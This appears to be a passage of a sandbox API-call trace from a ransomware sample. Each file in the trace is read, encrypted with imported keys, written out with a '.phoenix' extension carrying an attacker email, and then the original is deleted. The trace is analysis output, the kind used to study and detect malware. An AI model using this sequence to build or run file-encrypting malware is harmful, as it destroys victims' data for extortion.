	[0243.843] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\245__connections_cellular_tele2 (lithuania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0243.843] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.843] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.844] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\245__connections_cellular_tele2 (lithuania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.844] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151380) returned 1
	[0243.844] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.844] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d0, lpOverlapped=0x0) returned 1
	[0243.851] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0243.851] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0243.852] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151700) returned 1
	[0243.852] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.852] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0243.852] CryptDestroyKey (hKey=0x151700) returned 1
	[0243.852] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0243.852] CryptDestroyKey (hKey=0x151380) returned 1
	[0243.852] CloseHandle (hObject=0x2d4) returned 1
	[0243.852] CloseHandle (hObject=0x2d8) returned 1
	[0243.853] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\245__connections_cellular_tele2 (lithuania)_i0$(__mvid)@wap.provxml")) returned 1
	[0243.854] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0243.854] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\247__connections_cellular_tango (luxembourg)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.854] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=832) returned 1
	[0243.854] CloseHandle (hObject=0x2d8) returned 1
	[0243.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\247__connections_cellular_tango (luxembourg)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0243.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\247__connections_cellular_tango (luxembourg)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.854] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\247__connections_cellular_tango (luxembourg)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.854] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.855] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.855] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\247__connections_cellular_tango (luxembourg)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0243.855] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0243.855] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.855] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x340, lpOverlapped=0x0) returned 1
	[0243.911] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0243.911] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0243.912] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1510c0) returned 1
	[0243.912] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.912] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0243.912] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0243.912] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0243.912] CryptDestroyKey (hKey=0x151180) returned 1
	[0243.912] CloseHandle (hObject=0x2d8) returned 1
	[0243.912] CloseHandle (hObject=0x2d4) returned 1
	[0243.913] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\247__connections_cellular_tango (luxembourg)_i0$(__mvid)@wap.provxml")) returned 1
	[0243.913] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0243.913] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\248__connections_cellular_orange (luxembourg)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0243.914] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=716) returned 1
	[0243.914] CloseHandle (hObject=0x2d4) returned 1
	[0243.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\248__connections_cellular_orange (luxembourg)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0243.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\248__connections_cellular_orange (luxembourg)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.914] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\248__connections_cellular_orange (luxembourg)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0243.914] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.914] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.914] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\248__connections_cellular_orange (luxembourg)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.915] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151680) returned 1
	[0243.915] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.915] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cc, lpOverlapped=0x0) returned 1
	[0243.921] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0243.921] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0243.922] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1516c0) returned 1
	[0243.922] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.922] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0243.922] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0243.922] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0243.922] CryptDestroyKey (hKey=0x151680) returned 1
	[0243.922] CloseHandle (hObject=0x2d4) returned 1
	[0243.922] CloseHandle (hObject=0x2d8) returned 1
	[0243.922] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\248__connections_cellular_orange (luxembourg)_i0$(__mvid)@wap.provxml")) returned 1
	[0243.923] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0243.923] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\24__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0243.926] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=467) returned 1
	[0243.926] CloseHandle (hObject=0x2c4) returned 1
	[0243.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\24__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0243.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\24__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.927] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\24__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0243.927] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.927] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.927] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\24__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.928] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0243.928] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.928] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1d3, lpOverlapped=0x0) returned 1
	[0243.929] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0) returned 1
	[0243.929] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1e0, lpOverlapped=0x0) returned 1
	[0243.930] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1516c0) returned 1
	[0243.930] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.930] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0243.930] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0243.930] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0243.930] CryptDestroyKey (hKey=0x151280) returned 1
	[0243.930] CloseHandle (hObject=0x2c4) returned 1
	[0243.930] CloseHandle (hObject=0x2d8) returned 1
	[0243.930] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\24__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0243.932] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0243.932] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\251__connections_cellular_hutchison - 3 (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0243.933] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=721) returned 1
	[0243.933] CloseHandle (hObject=0x2c4) returned 1
	[0243.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\251__connections_cellular_hutchison - 3 (macao sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0243.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\251__connections_cellular_hutchison - 3 (macao sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.933] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\251__connections_cellular_hutchison - 3 (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0243.933] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.933] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.933] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\251__connections_cellular_hutchison - 3 (macao sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0243.933] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151700) returned 1
	[0243.933] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.933] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d1, lpOverlapped=0x0) returned 1
